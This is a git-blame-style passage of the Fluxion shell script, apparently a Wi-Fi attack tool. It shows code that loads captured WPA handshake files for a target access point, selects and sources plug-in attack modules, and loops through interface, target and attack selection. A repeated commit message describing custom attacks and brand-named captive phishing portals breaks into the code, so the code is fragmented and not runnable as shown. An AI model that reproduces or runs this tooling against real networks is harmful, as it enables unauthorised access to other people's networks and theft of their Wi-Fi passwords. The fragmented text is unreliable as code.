Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_hash() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$APTargetHashPath" ]; then return 0; fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_unset_hash
|
2017-06-28 08:56:24 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Scan for an existing hash for potential use, if one exists,
|
|
|
|
# ask the user if we should use it, or to skip it.
|
|
|
|
if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \
|
|
|
|
-s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then
|
2017-06-28 08:56:24 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ! "$FLUXIONAuto" ]; then
|
|
|
|
fluxion_header
|
2017-08-16 00:01:51 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
|
|
|
|
echo
|
2017-06-28 08:56:24 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
printf "Path: %s\n" "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
|
|
|
|
echo -ne "$FLUXIONVLine ${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] "
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
read APTargetHashPathConsidered
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then
|
|
|
|
APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
|
|
|
|
fluxion_check_hash
|
|
|
|
# If the user decides to go back, we must unset.
|
|
|
|
if [ $? -ne 0 ]; then
|
|
|
|
fluxion_unset_hash
|
|
|
|
return 1
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
|
|
|
|
# If the hash was not found, or if it was skipped,
|
|
|
|
# ask for location or for gathering one.
|
|
|
|
while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do
|
|
|
|
fluxion_header
|
|
|
|
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery"
|
|
|
|
echo
|
|
|
|
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
|
|
|
|
local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "" choices[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$FLUXIONHashSourcePathOption")
|
|
|
|
fluxion_set_hash_path
|
|
|
|
fluxion_check_hash
|
|
|
|
;;
|
|
|
|
"$FLUXIONHashSourceRescanOption") fluxion_set_hash ;; # Rescan checks hash automatically.
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
fluxion_unset_hash
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
|
|
|
|
# This conditional is required for return values
|
|
|
|
# of operation performed in the case statement.
|
|
|
|
if [ $? -ne 0 ]; then
|
|
|
|
fluxion_unset_hash
|
|
|
|
return 1
|
|
|
|
fi
|
|
|
|
done
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Copy to workspace for hash-required operations.
|
|
|
|
cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap"
|
2016-09-12 11:51:02 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
###################################### < Attack > ######################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_unset_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAttack" ]; then unprep_attack
|
|
|
|
fi
|
|
|
|
FLUXIONAttack=""
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-11-29 21:54:34 -07:00
|
|
|
# Select the attack strategy to be used.
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAttack" ]; then return 0; fi
|
2017-07-23 07:24:56 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_unset_attack
|
2017-08-21 08:26:55 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_header
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $FLUXIONAttackQuery"
|
|
|
|
echo
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
#local attacksMeta=$(head -n 3 attacks/*/language/$FLUXIONLanguage.sh)
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
#local attacksIdentifier
|
|
|
|
#readarray -t attacksIdentifier < <("`echo "$attacksMeta" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`")
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
#local attacksDescription
|
|
|
|
#readarray -t attacksDescription < <("`echo "$attacksMeta" | grep -E "^# description: " | sed -E 's/# \w+: //'`")
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local attacks
|
|
|
|
readarray -t attacks < <(ls -1 attacks)
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local descriptions
|
|
|
|
readarray -t descriptions < <(head -n 3 attacks/*/language/$FLUXIONLanguage.sh | grep -E "^# description: " | sed -E 's/# \w+: //')
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local identifiers=()
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local attack
|
|
|
|
for attack in "${attacks[@]}"; do
|
|
|
|
local identifier="$(head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //')"
|
|
|
|
if [ "$identifier" ]; then identifiers+=("$identifier")
|
|
|
|
else identifiers+=("$attack")
|
|
|
|
fi
|
|
|
|
done
|
2017-08-26 13:55:10 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
attacks+=("$FLUXIONGeneralBackOption")
|
|
|
|
identifiers+=("$FLUXIONGeneralBackOption")
|
|
|
|
descriptions+=("")
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
io_query_format_fields "" "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" attacks[@] identifiers[@] descriptions[@]
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then
|
|
|
|
fluxion_unset_target_ap
|
|
|
|
fluxion_unset_attack
|
|
|
|
return 1
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
FLUXIONAttack=${IOQueryFormatFields[0]}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Load attack and its corresponding language file.
|
|
|
|
source "attacks/$FLUXIONAttack/language/$FLUXIONLanguage.sh"
|
|
|
|
source "attacks/$FLUXIONAttack/attack.sh"
|
2017-01-02 09:39:57 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
prep_attack
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ $? -ne 0 ]; then
|
|
|
|
fluxion_unset_attack
|
|
|
|
return 1
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# Attack
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_run_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
start_attack
|
2017-07-02 04:49:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
|
|
|
|
io_query_choice "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@]
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# IOQueryChoice is a global, meaning, its value is volatile.
|
|
|
|
# We need to make sure to save the choice before it changes.
|
|
|
|
local choice="$IOQueryChoice"
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
stop_attack
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then fluxion_handle_exit; fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_unset_attack
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
################################### < FLUXION Loop > ###################################
|
2017-09-02 12:28:30 -06:00
|
|
|
fluxion_set_resolution
|
2017-11-30 00:48:14 -07:00
|
|
|
fluxion_set_language
|
2016-05-15 09:34:47 -06:00
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
while true; do
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_set_interface
|
|
|
|
if [ $? -ne 0 ]; then continue; fi
|
|
|
|
fluxion_set_scanner
|
|
|
|
if [ $? -ne 0 ]; then continue; fi
|
|
|
|
fluxion_set_target_ap
|
|
|
|
if [ $? -ne 0 ]; then continue; fi
|
|
|
|
fluxion_set_attack
|
|
|
|
if [ $? -ne 0 ]; then continue; fi
|
|
|
|
fluxion_run_attack
|
|
|
|
if [ $? -ne 0 ]; then continue; fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
done
|
2016-05-15 09:34:47 -06:00
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
# FLUXSCRIPT END
|